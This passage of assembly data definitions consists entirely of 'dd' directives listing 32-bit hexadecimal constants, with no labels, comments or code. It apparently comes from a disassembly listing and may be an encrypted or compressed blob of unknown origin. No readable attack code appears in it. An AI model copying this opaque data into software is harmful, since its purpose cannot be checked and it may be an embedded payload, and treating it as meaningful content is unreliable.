54EB8D09h, 75F961B8h, 50886F7Fh, 0B16660D7h dd 0BE94FADBh, 2716E638h, 1E58E409h, 0E7C29FC8h, 0A1DF74EAh dd 339EC668h, 0F94B5C69h, 0BD97ACBCh, 2F0E9041h, 710BD8A7h dd 0C87043ABh, 123A4Eh, 0E93EF888h, 3F05DC29h, 0BE5E903Bh dd 786E1856h, 72BD550Fh, 0EC5202A0h, 0AC27EF94h, 0CF8CC844h dd 79F100FAh, 0D5265BB0h, 0BD0B4E34h, 7C625EEEh, 0FE99C330h dd 0F1F8592Dh, 89398C34h, 5E03E019h, 0EF770824h, 279CB8CEh dd 0BD96E62Eh, 0C35DD002h, 5FCC1048h, 67783A9Fh, 0C9D14E98h dd 0F8B4C077h, 252C3422h, 9424BB59h, 13C800FBh, 0C2AE4FBEh dd 0D48A8D13h, 4FE33CE0h, 0EE108599h, 10231C3Eh, 0E9BE7000h dd 1383116h, 0A39F846Fh, 2B268F7Ch, 0DBEB4084h, 1CF8FF0h dd 72016340h, 60ED4840h, 94C5B7A0h, 16FCC810h, 0F545178Ch dd 198808B5h, 37FF81BBh, 0F252BA4h, 0B8F3B243h, 0E508D5h dd 0D22C7936h, 0DAE2B5C2h, 0B8836F5Ah, 0FFBA99B6h, 45E13030h dd 802C6C57h, 0FB842886h, 0C8821C47h, 51F807Bh, 3F6EBD90h dd 55130C04h, 84BFD5E1h, 401C9920h, 0C145685Ch, 919FECA0h dd 5F5F3888h, 2628E02Eh, 624E2891h, 5755E073h, 15AF0865h dd 0FC0F88F4h, 7D58A61h, 0CCC283Eh, 8897D58Ah, 72805791h dd 5BF0C839h, 0BA9C4109h, 82ECF30Bh, 0AB26C26h, 0EEDC22D5h dd 818505E1h, 6DC61E18h, 0F6B1035Ch, 0BF0BA98h, 46742620h dd 5F5BE058h, 98C13CE2h, 132CD03Ah, 0F625ACE5h, 0DB10A7ACh dd 2FF5D74Fh, 0B04B3907h, 0F060E4E9h, 1205F082h, 0D2025F97h dd 1688F486h, 41A03B10h, 9A18CCD0h, 0A2C0233Eh, 99CF3013h dd 6D68EA00h, 3B1A17C5h, 62335AA8h, 75C14B34h, 0D73889D1h dd 0BCF08Fh, 4959BA9Fh, 0FAAAF727h, 0F22D7439h, 32978300h dd 8ED3CC52h, 7170086h, 2EBF2BA8h, 0C90F5DE4h, 80873D64h dd 0A2328FD6h, 7F9000Dh, 5D0C693Bh, 5501CDF4h, 0F4E4DB5h dd 0A2C830EFh, 217C00E2h, 0FDDFF1FEh, 82005C9Ch, 34600F9Ah dd 0D91743h, 0FA497BCBh, 72960CF8h, 98C5DA00h, 6C3B79E3h dd 0EC4200D2h, 3E3289E0h, 950057F5h, 20EABDDh, 0E553D4h dd 17ADF779h, 0FD47FE87h, 8F9C693Dh, 0E06ED65Ch, 0C7FCFA90h dd 77FE208h, 67B97DC5h, 0F354113Eh, 35D760C6h, 90AEAA07h dd 9C00B663h, 3BC0153h, 4B4139F1h, 78B0C466h, 650398E4h dd 2A1E60FAh, 153FE9C5h, 284EEDCh, 2554FD28h, 81E347CBh dd 9E81A190h, 5B393100h, 8C59CEEAh, 1DCC0023h, 84D7B83Ch dd 613AFA22h, 0AD25002Eh, 67F32831h, 5AEA00AAh, 33DD9324h dd 1A09B174h, 25488DFCh, 0B0213C30h, 0F39970h, 0C8237A80h dd 6BA57E6Fh, 0D235BA0Ch, 0B1AD68ACh, 4D1C0060h, 32ED0D50h dd 49A1EA00h, 51468397h, 0A3EC0131h, 533919DAh, 27B2FCF6h dd 870D0F00h, 455CA8D5h, 361B1312h, 0B2A00B9h, 3891AEEFh dd 2F0E0C00h, 7F7E8839h, 0DBAC38BAh, 1224C04Fh, 96C0FD4Ah dd 0B8E84451h, 8CE10617h dd 0B971030Fh, 5D5CC500h, 276AC234h, 3D9C709Ah, 0FF007D48h dd 0CCB9D1D9h, 0AB58F2ACh, 18800CCh, 27C09431h, 22CE009Bh dd 43D36CFDh, 64003785h, 0ABFE7473h, 1C9E1066h, 0F280147Ch dd 0C0FDF268h, 37615h, 0E45F2829h, 48AE3FD4h, 36945350h dd 39A23D44h, 0AC01C11Bh, 0D7951D71h, 98003E80h, 42F20684h dd 0DB3109D6h, 44F86DC7h, 36F13901h, 8DD2CC82h, 24F4B3EDh dd 51A0134h, 0C6BF2F95h, 2E804073h, 0D1608546h, 6A1AC0B2h dd 0E29C00F3h, 0EFE938B2h, 4700DD19h, 0FDF6446Fh, 0DC06C3h dd 7012F367h, 53B254CCh, 2AB7806h, 22B811DDh, 1D3F14A2h dd 17068C4Dh, 0E16899FAh, 27B0C0h, 31F4559Fh, 8B6984EFh dd 252DE4FFh, 1AA62000h, 0FE46C186h, 6BEB0034h, 0B6506C73h dd 6F0059E6h, 0B413C387h, 3F909EDFh, 0C800E3F9h, 0FB97C93Fh dd 51012EFFh, 45FDA6CBh, 46DCBEE1h, 897840h, 0C8D8B0B5h dd 1D01CAE4h, 521EDA01h, 0FB91F121h, 77E40E3Bh, 8E8FCF40h dd 6902BC4Dh, 7E80029Fh, 34947C41h, 1C94ECC9h, 10F045A8h dd 4AF031Dh, 0F1028216h, 0E895816Bh, 0FA3C25DFh, 50D9B840h dd 85046E00h, 7D49C365h, 0FF21C063h, 0BE79A2FBh, 2CAA8007h dd 0E0316B64h, 706DB938h, 83309E00h, 4595F627h, 3247FF00h dd 0D0E2CEACh, 74D7D63h, 145AC270h, 958700BFh, 0C1F8EF02h dd 0C5BD2200h, 9EE23441h, 1A520020h, 0CD768E5Bh, 0A0E4AF59h dd 7A711002h, 43F3F858h, 0C1F6FB6Ch, 1F8E22Fh, 0ECC400A7h dd 190FED22h, 8D0E6E83h, 2009F74Dh, 51C9057Ch, 3DA8131Bh dd 0FC382021h, 9D002261h, 0BF2DD2A7h, 241CA172h, 84954h dd 615A6D01h, 7900DF8Fh, 1A45582Eh, 0D4F813h, 184ECE39h dd 0DEFCB44Ah, 5F717900h, 0FF57E87Ch, 0C8B06E06h, 0F4585580h dd 3000FB68h, 42F5698Fh, 0F2F3C4E4h, 63F80725h, 23BF49D5h dd 1FE8216Eh, 0A009B48h, 0EBB17876h, 76358h, 6DF30F3h dd 0D3C443DEh, 730B1C01h, 0AC74BED4h, 3700406Ch, 41D2179h dd 0B650DC3Bh, 0D6007E94h, 0F9470199h, 0F8AF37AAh, 0A9ED0083h dd 22CADF4Ah, 3E00AC16h, 0D2230D86h, 50FFF6h, 5B209670h dd 454B5E7h, 8534A03h, 0C0B9E62Bh, 0D7CE97h, 68B2BE2Ah dd 7FF46323h, 0AC46CC0Eh, 0F48132B5h, 0A0201532h, 8000B5E8h dd 9E4B2DD4h, 80C05538h, 10BE0996h, 902AC5AEh, 34110230h dd 0CB229F68h, 0E04AC860h, 8206CE18h, 157C40h, 89EA4F04h dd 91654E2Dh, 0C268071h, 0F9F5482h, 7C40C412h, 466C0662h dd 1E280096h, 0B384C9B7h, 64909838h, 8B723A00h, 35A3F64Ch dd 9F8A250Ch, 0A50078F2h, 0D0B52D90h, 28D88465h, 28E4B3C1h dd 0E6A86D0Bh, 0DAF405E4h, 0C38B9BC0h, 0B5B83595h, 5505D48Fh dd 70A9DB97h, 668FAD1Eh, 80760EC3h, 748E12A6h, 169B0005h dd 364273CBh, 0BE00F387h, 0BFC68D5h, 0F692FDBDh, 3F90091h dd 7D30622Fh, 0F42DB993h, 0B4664Ch, 941DF9F7h, 0A9F0F639h dd 9B076090h, 21408E04h, 1EB69AC0h, 0FA950067h, 0B0209C50h dd 30005214h, 0BBFF0963h, 14B0DBEh, 9D04538Eh, 0D827992Eh dd 4900E7C6h, 0DB14D8A8h, 0C1A7B6h, 0A45ADFE9h, 6F9E2CCDh dd 0E8D0D62Ah, 1FE2A1F0h, 61DE2B01h, 0DC80AC1Ch, 17A9DCh dd 3B3301BFh, 58937340h, 0A81C1902h, 60C412DAh, 0A0D79B75h dd 2F7D9D4h, 0BD373448h, 29407D1Fh, 0C900A3E8h, 82CF42DDh dd 0A7B780h, 4F6EB1E9h, 9C3687E5h, 6A698100h, 30D5055Bh dd 7DC90118h, 0BFF48A4Bh, 70FDF8EAh, 940C6F30h, 12E446E1h dd 0FD20BACCh, 0A5B302D4h, 4835DFDEh, 1F93118h, 9FC3243Eh dd 0DC798701h, 0DC3065A1h, 0F87489DAh, 126400ADh, 0AEC80999h dd 0AC2CD53Ch, 0D00FA4Ah, 0F41D70EBh, 295882h, 8F9D7F1Eh dd 9347C669h, 7E3341DCh, 169429ACh, 0F0F43BFEh, 23611275h dd 0F05DEBB5h, 5DC14A05h, 429C101Ch, 3C43973h, 0CC6D150h dd 6BF8D790h, 0A502F5AAh, 7CEE3DB2h, 95CCC09Ah, 7D7600CAh dd 1908CD1Ch, 334F9023h, 6BEAB8D1h, 708077F5h, 7C65B186h dd 0D31493ECh, 293C5CFEh, 0AAC24809h, 28663843h, 5F72E13Fh dd 7A28A0h, 0F9738E9Ah, 80E06ACDh, 0E1576800h, 0A8F11F2Bh dd 0EB30037Ch, 28FDD76Ch, 839464E8h, 0F4BDF79h, 7BC1E0B8h dd 801DD7C0h, 788004B9h, 3C214Dh, 10ACCE6Fh, 0F413366Ch dd 7916062Fh, 8B600098h, 8E0C11Dh, 0DC350200h, 3FD2C6E1h dd 3ABF0516h, 0A858B556h, 56552530h, 0DB8000DCh, 383B121Fh dd 1CA4424Ah, 0B093406Fh, 59C35825h, 180AD190h, 45A2005Fh dd 6B0D29A3h, 100BE935h, 0E2CEB009h, 0E090DFACh, 0C300A871h dd 0E02992C1h, 4B0CD6C2h, 9DC8CE01h, 0A64603A3h, 92B052E7h dd 4C09683Fh, 50DDFD56h, 0BC1E09F0h, 18716935h, 0D01956D1h dd 0FF0448C0h, 8F3B9643h, 1A191090h, 0BE71DDh, 235EADA4h dd 0FC8DBBAEh, 75ED3001h, 3DE9088h, 8BEC532Fh, 0C098C878h dd 4083E25h, 290CD07h, 0B07132ACh, 58AD102Eh, 0BA001871h dd 428A3AA3h, 0F854055Bh, 0F8BC729Bh, 7CD202E4h, 0F709AE8Fh dd 901C28BDh, 70ED41C0h, 4BF71964h, 9790BC87h, 807ABCBCh dd 5397CE16h, 0A09F702Ch, 0DD046E74h, 70F6DF2Fh, 6B84DDBBh dd 6EAFD853h, 3C0A0E08h, 8A41DE07h, 174A9C26h, 79E2D007h dd 0EC4E1A85h, 2541C4F4h, 0A8A08138h, 236F57EAh, 4652BE01h dd 4905222Eh, 93808ECh, 0E5F9FA1h, 6D2F24FCh, 32B8C298h dd 3D071FC0h, 0C6D796FCh, 0CB4AD8F3h, 0CA14C8FCh, 5EA502B2h dd 8848312Eh, 0E7BD8744h, 860608FCh, 52467Ch, 7EBF3D7Fh dd 4B0C1C5Eh, 81B0BC0Bh, 168287C6h, 0CA5FD612h, 48105DB8h dd 0CC09C141h, 5158666Eh, 0EEFA93DCh, 8B2A9C3Dh, 0C486C884h dd 0E37CC061h, 0FD0132BAh, 5D25061Fh, 60E1744Bh, 4EF4CB7Bh dd 8CB830EDh, 6737D200h, 57AF065Dh, 0B0FE13FAh, 7CCCB0DAh dd 3C469F24h, 869089BFh, 4E3870F3h, 0F238B211h, 3F993098h dd 47763000h, 348D402Fh, 0ECB85AFCh, 0B2E84370h, 0BE053059h dd 0B5014CF8h, 90969F5Fh, 0D37EF6DAh, 4843E4Ch, 88B00AD7h dd 93DA25E2h, 6104E8D8h, 4CD1EFFh, 0B08AFBh, 1A0CAA84h dd 133EED8Ch, 0E9C31E6Fh, 45788E8h, 80BEF149h, 0BB5CD328h dd 924CCC0Ch, 28D49EBh, 0A9B87B7h, 0A07E2458h, 0F7F6A389h dd 90F7C430h, 94082211h, 6936F075h, 0C8F0C8E2h, 9BD2E409h dd 9BCF995h, 2078C210h, 2279C98h, 405C7687h, 6315A276h dd 94A75000h, 0C7D69C99h, 0BA0C0359h, 51354D7Fh, 4CF81E0h dd 79124B78h, 0D7ABD18Bh, 0BD89F18Ah, 0ADB06E7Dh, 3085FE5Bh dd 0B30E2ADDh, 0C01A836Bh, 5708F907h, 37074659h, 0FC87707Ah dd 49E0110h, 0D03B06CBh, 2514830Fh, 36089ECh, 27C7800Dh dd 115460E9h, 9CBB6652h, 54955FF0h, 0D8C04E60h, 332DBD03h dd 884DF9BFh, 8B993784h, 1942A58Eh, 9D38E0FEh, 10186B91h dd 93D11075h, 8E410025h, 0B04CA5C2h, 61145A3Ah, 1C719589h dd 2CE8860Fh, 0DAEBD4Ah, 0C015E94Dh, 0DB18B58Dh, 9D9C2BF4h dd 335E9529h, 6DC9099Fh, 0F64C5716h, 0E940B30Ch, 246E430Bh dd 2907BEh, 8FDCF62Bh, 0B92ADE79h, 10AC256h, 770D35B5h dd 0BD33FC01h, 12BB2DB1h, 0EC6BEECAh, 0F5AC0902h, 4DF5C02Bh dd 229AC040h, 0F1012677h, 0EA01D065h, 0BE4266CFh, 0B88E93BAh dd 3233ADFEh, 0D060D1C2h, 75A760DDh, 7A71B7F4h, 26181779h dd 0E2DC9B12h, 0D2F14A0Ah dd 0DCD7F4ADh, 937E7B03h, 982C6C41h, 0C2880D57h, 39B50921h dd 95F068FFh, 0C076015h, 20A19D01h, 89BD19C3h, 8D0D3B14h dd 0F0F21A0h, 4F50DFB7h, 31883C2h, 0E90878C1h, 50198256h dd 95D89658h, 0D64954h, 43F0B2C5h, 831BB870h, 0B1A1BD35h dd 8184AA04h, 0A09DE7AEh, 70F9FFEAh, 0F77EE1B8h, 3AEEA06Dh dd 457A021Ah, 7B17609Eh, 0FDDDA82h, 6E128D07h, 9DA0A34Fh dd 0FF05DCEDh, 23E83AE1h, 0F570714h, 6615FC82h, 403CBF14h dd 113D108Eh, 3E047EC4h, 190E1823h, 1AB462D5h, 0D9E18250h dd 132915Bh, 971A6702h, 821511ADh, 60F8F192h, 37F7B57Fh dd 0E01F11E8h, 57458DE7h, 0A12D6E00h, 46414A3h, 262775A9h dd 80C81E8h, 4C211E89h, 650E0393h, 7AFF97E5h, 0F7AD5F96h dd 310170C0h, 95219B5h, 41353AE4h, 40ADB924h, 8C2D6601h dd 0DC91FCD9h, 0B5205D07h, 0F81FBD2Bh, 4AE1804Eh, 246BAA04h dd 0A1D80A05h, 0E807870Bh, 0DAC9A83Ch, 8E011D29h, 57181CF1h dd 3DE3B100h, 19D6F3EAh, 0F9DBBFD9h, 0C5999D0Ah, 0C1BD0B85h dd 0A6C12394h, 633324C9h, 263015E2h, 0F8605F75h, 8E7C805Eh dd 1F0D9697h, 4B63CB4Dh, 8288B9h, 5B616177h, 33F985A1h dd 22940585h, 8AC0149Bh, 0A5BF909Eh, 772B6F13h, 38F87B0Fh dd 0A0174166h, 7DD8A2Dh, 5CD1F168h, 0FBFBF5B1h, 320E46C0h dd 0B74E16C2h, 6D8F0C40h, 9713BB35h, 31010C07h, 2BA3FD85h dd 0B83EF92Ah, 0E70C018Fh, 9952ED7h, 550C3070h, 3E9C909h dd 0C76D5D02h, 70D4DCE0h, 0ECF7FEA3h, 4DBE28A6h, 0AFF56EE7h dd 72D3AFD2h, 23C984C7h, 0BDFF1030h, 0D9D285F0h, 0C0A89AAFh dd 4B8361F4h, 9AC04B8h, 0B128D9Dh, 3460429h, 75659019h dd 67BD2A82h, 0DC0377ACh, 9358E5BEh, 0C88AAA7Bh, 0A00689F1h dd 911825CEh, 8E0F4364h, 6FF6AFDCh, 0B4255C00h, 2B67E54h dd 0B1790800h, 13A9F8CDh, 0D3EC03A4h, 468910C7h, 86E78C1Dh dd 507F08C2h, 75856051h, 348AA007h, 0D1FD9124h, 2E6181Ah dd 0C95256ABh, 64F75499h, 7FA80003h, 9D1D106Bh, 39001619h dd 32CB76AEh, 53FFA198h, 0DF05EAB5h, 0FBDABF0Fh, 38FF2588h dd 0E85F1F03h, 695180E4h, 0A8CEEC31h, 0E7DC7Fh, 7FFC3227h dd 0EFE5DF1Fh, 4479D501h, 2E935D47h, 0BF5F6FD8h, 0D42F3571h dd 0F0FB40A6h, 8D077A92h, 25B331Ah, 8BAADD97h, 0A8DED62Fh dd 7E922DFh, 96A0C601h, 0AA903950h, 1448C42h, 73028D0Fh dd 74258CDh, 0A343D781h, 0F7B512D9h, 9BE012CDh, 2CA8B7Dh dd 0BBA603CDh, 51571F68h, 958902C7h, 90042CD9h, 76085AD8h dd 0E7FE1FEBh, 2C3A4BA9h, 7747907Fh, 74080017h, 0B3323C11h dd 233A8C41h, 61DC0963h, 0A34450h, 0D5563420h, 0A0ED952Ah dd 8665F71Ah, 51C6826Ah, 0F58A0102h, 4D373661h, 10FB5CE3h dd 0E8282691h, 6A55005Bh, 9776028Ch, 0C72C5BF8h, 256CAA85h dd 165EF681h, 101C7CD5h, 5D96A4BAh, 0AA277438h, 85B2EDF6h dd 0E8805960h, 0A521E929h, 2E209D13h, 0B80C3050h, 0F447311h dd 10E8C101h, 0F6070E5Ah, 5803E24Ch, 0E71BBC52h, 0BC3636EBh dd 0DC736408h, 50661B2Ch, 81212829h, 139A5818h, 1B125701h dd 84C03584h, 5B0EC0E2h, 0CC384ABBh, 0A04F5C97h, 81047185h dd 0D4B5F731h, 5EA82C24h, 0C02E044Dh, 14E67DECh, 22500059h dd 7F929F85h, 820F89D5h, 0A9EBF81Fh, 25E508FDh, 23E3725h dd 6E51CFB5h, 31FA0261h, 47E72584h, 0C80E1527h, 0CEA92182h dd 3E40C653h, 5B811411h, 6BB5D620h, 37F787F1h, 0C9751C72h dd 0B5C42D0Eh, 0F3B24600h, 0BB20E33Eh, 0CC541712h, 1F1ABAC7h dd 956DFD04h, 2C3CEBC0h, 4EB301F1h, 0B5891E25h, 60902459h dd 0C103BFA6h, 6C407212h, 567B01Dh, 0A47600D1h, 2088AA21h dd 0AE648CB6h, 4D4008E8h, 21D29071h, 4F618804h, 0C081595Bh dd 0FB50658Dh, 13CABF96h, 0F3D8402h, 0E034FE8Ah, 15A80659h dd 6838028Ch, 233D9D33h, 1920C972h, 5B572B20h, 9D2302CEh dd 6FC41335h, 1117D520h, 48C48689h, 548813C1h, 89F7A309h dd 97176636h, 0D69056h, 0B3ECB12h, 0EBC7BF4Ch, 68453433h dd 0C283C92Ah, 6D73880h, 89745DE7h, 8820502Ch, 4C6EEDEh dd 2D468678h, 0FE6A82C9h, 0C2798261h, 0D9098209h, 0FD878BB8h dd 15007DB7h, 28B2AD87h, 830F2635h, 0CD3145AAh, 0F39E008Eh dd 600B19D4h, 49850B50h, 1C845A35h, 81CB48D0h, 33B8860Fh dd 16A95FA5h, 0EFA73B8h, 35F9BDh, 868A5BBBh, 0A20202C0h dd 0A9F9D11Eh, 0B2F14AC2h, 0AF6639h, 1AEFE4BBh, 91C609Dh dd 212DB512h, 2CD12821h, 0BC75AD2Ah, 7B290033h, 8160B30Ch dd 68007FCEh, 0E9BB41D4h, 0B07E878Dh, 0B756177Ah, 287248Eh dd 67E9D393h, 35279145h, 147C002Ch, 0DEA475AFh, 0B529A817h dd 79DCF126h, 5929EDB9h, 39382EBCh, 0E2F80056h, 0A88440BBh dd 95291A67h, 0F64065D5h, 8ED0C55h, 32549759h, 2EED00F4h dd 3BF05AF3h, 0B626579Dh, 7519C8B9h, 0B27F9665h, 0FCAE00D7h dd 0CFF70ADBh, 8EA80003h, 0E6437EABh, 0BA0EBF42h, 84ED778Fh dd 68C9650h, 947EE81h, 0D0F7A54Fh, 180DFE82h, 0EE41E0Ah dd 7C814840h, 9E1DBD65h, 6301A868h, 0AD96F7BBh, 7085B142h dd 28D4950Ch, 8D1002D6h, 1D16C548h, 590F7AE9h, 3DA48846h dd 0C1958704h, 0EA976F10h, 0AA2C696Eh, 0DDFB1481h, 2FB6132h dd 95DDD87h, 0BD40AF6Fh, 0BFF07D7Eh, 0FD009559h, 881287F4h dd 49EB2680h, 22591ECAh, 0BFD9519h, 85C3C60Ch, 80EB9BEEh dd 66D2FF42h, 0D7B62E4Dh, 130508F5h, 85BF27h, 8C488EA7h dd 0B901EB98h, 5FE9471Ah, 55C6FFF3h, 0C558C473h, 2CAB48EAh dd 2C1B8CC0h, 0A3027B46h, 4F7A44F6h, 0CC0F601Eh, 0F9C15E8Bh dd 2CC2B83Dh, 9241C40h, 4D2C91BDh, 2958410Ch, 2C058711h dd 0E7CFCDC9h, 0BB5F3083h, 6D1578B3h, 6A6014h, 5B846494h dd 7890ACDh, 3A4A3C09h, 0C196B53Eh, 4084916h, 0CDFB8985h dd 0C8B17BA2h, 0A338D0E2h, 8B23AA78h, 0BAF78C52h, 0FD9E5ED1h dd 1E4B7650h, 0DA2434EAh, 0BE97C0DDh, 988F330Eh, 0D4E70CC9h dd 0D8709069h, 6B3501Dh, 0F8B577E5h, 28F898BBh, 0AB0629A8h dd 7B661A65h, 2D350EF5h, 45EE2184h, 4F61A6BEh, 2877AB6Ah dd 71E663FCh, 58D4978Dh, 9A584A23h, 8A7601B7h, 66D1FFFCh dd 2BBEC9BFh, 18828B8h, 5638841Ch, 0A4A2E77Dh, 4124408Fh dd 889D9E0Ch, 6A00125Dh, 0E5850102h, 9010C031h, 8B50AEB7h dd 0E90DE76h, 0F80F44h, 0AC72869Ch, 2320BB1Eh, 6C841702h dd 831BD5E1h, 8D5FFBFFh, 0AD5F0ECAh, 518FA8B1h, 0C141F682h dd 0B5840959h, 2102D85h, 5F0DD2E9h, 0DB44C151h, 0A6AF7584h dd 0F0BBE3ABh, 83D3EA5h, 11E87F97h, 0ACCC4380h, 0EC27DF0h dd 0FC6D9072h, 0A1282E00h, 215CCDD0h, 5FDE12A3h, 0C0839AABh dd 90C5CA93h, 9344B8FCh, 93B01C3Ah, 0DFDD802Bh, 2DF70F90h dd 5250042Eh, 0E1AADA8Ah, 2140E2CFh, 90281159h, 0BB005EE9h dd 0E2736CCEh, 7ABDDCCh, 0DF48E7A7h, 0B056D754h, 35FF6411h dd 0E4F3C2E1h, 1499BCD0h, 24258964h, 0B964EA4Bh, 0CCC9B9DAh dd 47115A04h, 5BB4FF6Ah, 4CCD73C3h, 0BD16F759h, 2DF13226h dd 0D0FBE905h, 80FA8B28h, 0B0A5DF1Ah, 212548D8h, 0E65B12E1h dd 0FEB270h, 0FD78A3A5h, 72E4E02Ch, 89710BF2h, 0F6294985h dd 0D95E6177h, 0A05731A5h, 166CC30Dh, 5E430076h, 23BF017Fh dd 3E027CA4h, 733DC2B6h dd 74F155DDh, 5F616007h, 89C8E29Fh, 4A68DAB5h, 4DBFCCBAh dd 6A312941h, 76D8F27Eh, 67E06503h, 0A9CDA93Ah, 34DCFA3Fh dd 0E9A002DFh, 4E8C10Ch, 23759C40h, 0EEF05D82h, 0E9DBBB0Dh dd 5E91742Bh, 0A9D1280Eh, 0E9A38D54h, 0E057D695h, 0DDB05D52h dd 37F9A717h, 14154704h, 0FA130412h, 378CB85Bh, 1040B52h dd 90FB3C2h, 0B44845Ah, 733854E9h, 2B0745C5h, 2448C6EDh dd 2175C84Ah, 8B069084h, 84A5FAF0h, 0BE82FE17h, 98DE2F8h dd 1176244Ch, 0AA15FB8h, 950505FFh, 2F908F3Dh, 0C42E30BBh dd 0B9262562h, 880FC561h, 0FA8ADE20h, 1B8949B9h, 0B6FCA664h dd 0AAA0E440h, 26B8E27Fh, 0A8A0FCF0h, 82CF3250h, 66EDC0A6h dd 100B82E0h, 8760997Dh, 0D0BA8B0Dh, 4AE5E0B3h, 27A1C900h dd 9795741Ch, 0FE0B4067h, 0BD235B12h, 0ACFCC4BBh, 38ED5F6Eh dd 0A84B47E8h, 0F0B898Fh, 4402F9B7h, 59092B31h, 27CE204Ah dd 31BA9CC2h, 4007CDFDh, 93487BF5h, 66486B7Eh, 60CC4A56h dd 5E1597FCh, 1CC837A5h, 0B95AC041h, 0AD5B68Bh, 20A2A120h dd 57A119DDh, 2B6D3539h, 979C6A28h, 2DF463DEh, 41101739h dd 0E3020D24h, 78AE2B9h, 24E6FDEAh, 85952908h, 0C45B1303h dd 0F2E6AF3Ah, 0FD6642F0h, 0F9DDFA00h, 3777A3BFh, 7604C4Dh dd 0CDEDD474h, 2534B110h, 2F8DC661h, 0DDB7E1FFh, 39BC6D00h dd 122185E4h, 0E22D40B9h, 6B3A8885h, 3D80DEB5h, 156E4FCAh dd 0BF940E38h, 7A897BD5h, 20448871h, 0EF09E554h, 4E715F2Ah dd 8857D844h, 6C007ECDh, 0C17B0C43h, 95152A55h, 1BA9BB2Eh dd 49203170h, 0E21A982Bh, 37329719h, 4035EDFDh, 266915Ch dd 0B3A9D81Ah, 0B5CF024Ah, 403D5C14h, 0ED9D3151h, 4A121F49h dd 0CA4D21D2h, 0ED735DB0h, 426C158h, 8255E96Bh, 6D1081F3h dd 132D2E34h, 0CFC0075Ah, 0F9D04D30h, 13CDDA09h, 45F08248h dd 843C14Fh, 595F5212h, 0E75B1288h, 3FAF4A11h, 56C800D8h dd 0D1AF3001h, 8B6B0078h, 49EB81A8h, 755C23A9h, 0E8C10DEh dd 1A5F57C4h, 0B2E2C40Ch, 0F9BB02E4h, 90299ABDh, 8E0F30C8h dd 60FB0A4Ah, 44E5F2BAh, 4489A325h, 6A4000CAh, 0BBE73049h dd 3201F64Ah, 0C5685F33h, 86885B74h, 0BF40078Bh, 258542EEh dd 55C05F06h, 0C3258F3Ah, 15355D6Fh, 0B4727E81h, 553CE38Bh dd 0CD2A174Ah, 5DF92F42h, 7E168AACh, 1C09DB2Ch, 0BC9671FAh dd 0B0E90904h, 8BB0001h, 97023288h, 2ED95131h, 0DEEF4D12h dd 0ACD19384h, 202A1D3Fh, 5FD8F8C6h, 9A059600h, 419F8AEAh dd 401ABEC0h, 4B532F79h, 2D9EE800h, 0A331B11h, 8164013Fh dd 0BC42A540h, 93372E04h, 6E93E3C0h, 8C0C4B89h, 0C50FBF6Ch dd 0BD18CE13h, 2331AEFh, 4F20A9B6h, 641D44A1h, 83A3F0EAh dd 60347A01h, 9D01804Dh, 0F92F10C9h, 29BDC261h, 69580909h dd 509B8195h, 0DB6C49B3h, 19E8A14Ch, 0DD1F018Ch, 84744D0Ch dd 4E342EF9h, 9CB89AE9h, 462EBF00h, 0E2685CA8h, 0CCE32574h dd 0AC407310h, 0A1310404h, 86906A7Fh, 4B3B8F1Dh, 0CA6BAF33h dd 7302BB5Ch, 859D893Bh, 6A251076h, 0D036F33Fh, 7774655Eh dd 60C01E0Eh, 0BD8941FCh, 443E12C9h, 0E2D51DDh, 50902661h dd 0D6E42488h, 118408FFh, 80C5FEAFh, 0C96696CEh, 7F1C6255h dd 0F5099E65h, 8E1E735Fh, 0F86961FEh, 0BD9DC85Dh, 0CD780013h dd 0A3BA6B39h, 21260767h, 9D0980ABh, 594A2909h, 0DEE4C826h dd 0A95A89E3h, 0C69A5907h, 0B30E2F2Ah, 133EE90Dh, 0C0D9DBAEh dd 0ABA71F97h, 91E512C1h, 0AE41E34Dh, 5C6BAE4Eh, 4275C500h dd 0CB21276Ch, 9D5696E6h, 0E67DF2D1h, 3BB9006Ch, 0FB78C1D4h dd 0AB000C93h, 0C2F56A74h, 9BF463Ah, 6C28E6A6h, 0AA449171h dd 83D3DB53h, 0F0FE144Dh, 247228C7h, 59153BF6h, 5D7B3F79h dd 0F5A3C509h, 35AF4453h, 98090200h, 0AD5C89BEh, 92B5FF6Bh dd 0BB99E681h, 0E470B925h, 6379E195h, 2A0F417Ah, 0B301FB33h dd 0DD194A8Dh, 0B16A2AA1h, 380F4C00h, 337C87AEh, 0E3B75013h dd 9D31FF43h, 22C8D4B5h, 989AACFBh, 2B75455Dh, 6BE65235h dd 0EDE520E7h, 0A426D4F0h, 5D0A14DFh, 73C97D34h, 0B8E87012h dd 975DA302h, 55F9F49Fh, 95843BD9h, 0A1B926A5h, 80D89BD6h dd 29186FA9h, 959259Dh, 0B795C5CEh, 99C80107h, 3A5B5645h dd 7E08F821h, 4FF44030h, 0E5FC20B8h, 9A009447h, 23968503h dd 2C200EEDh, 13F65F3Ch, 0B78AC445h, 806A4ECEh, 19363403h dd 9282F079h, 2BE9A182h, 80FE5809h, 821D59DFh, 8A09FE56h dd 0A7D573F9h, 1C008F35h, 60B89136h, 7D852D09h, 0C9819320h dd 1497B6F1h, 60E18DC0h, 0E987A78Bh, 0BA01B5A4h, 1EFBD541h dd 0EC396A08h, 43599CBCh, 0F600BC3h, 18E41281h, 0C91BDEh dd 0F82430F0h, 0D692D4B6h, 61097A18h, 49CDD3E0h, 4E99BF26h dd 553520FAh, 0EC9D334Bh, 40A92320h, 7E959625h, 839280DAh dd 0D639AEB2h, 9057D700h, 17916F98h, 55930272h, 0E5B75250h dd 5F666E59h, 4D8F6E13h, 6096421Eh, 5AF1F18Bh, 6C5D5600h dd 0EB7F28h, 0C3F3ED26h, 1CD14BBAh, 0EC9CFE0Ah, 81606461h dd 94E1EBF7h, 5F3340BCh, 0ECF34FDBh, 3F009A28h, 20F059F4h dd 1298544Eh, 0E3DFCF23h, 0B51273F6h, 0D0E307ADh, 0CF776B89h dd 0A34340BEh, 1A0262BEh, 734F8552h, 7EBD9D7h, 90FCCA38h dd 0ECED296Dh, 2876A58h, 917793D4h, 0E491890Fh, 0D21F00E7h dd 81BEE0C6h, 74023F1Ah, 6D7C490Eh, 0D75A6130h, 414D5F4h dd 0B35E3198h, 111CACEBh, 533B0882h, 7F128EA7h, 0F5C83974h dd 4F162760h, 3E58397Ah, 0CD72A180h, 3250C9BBh, 0BB57F02h dd 0EA1A519Dh, 0E9EB56F2h, 2453F653h, 134B8F16h, 0B282B6DEh dd 0A3E7301Ch, 0E528C203h, 0D0441502h, 5E5D8589h, 0B16B9123h dd 0F762F22h, 8AF84B7Eh, 4F5738F3h, 0DE0B797Ah, 0C6EA2C5Eh dd 0E44158A2h, 3769EE5Ch, 554E8B68h, 5AD8E609h, 0DC9294Bh 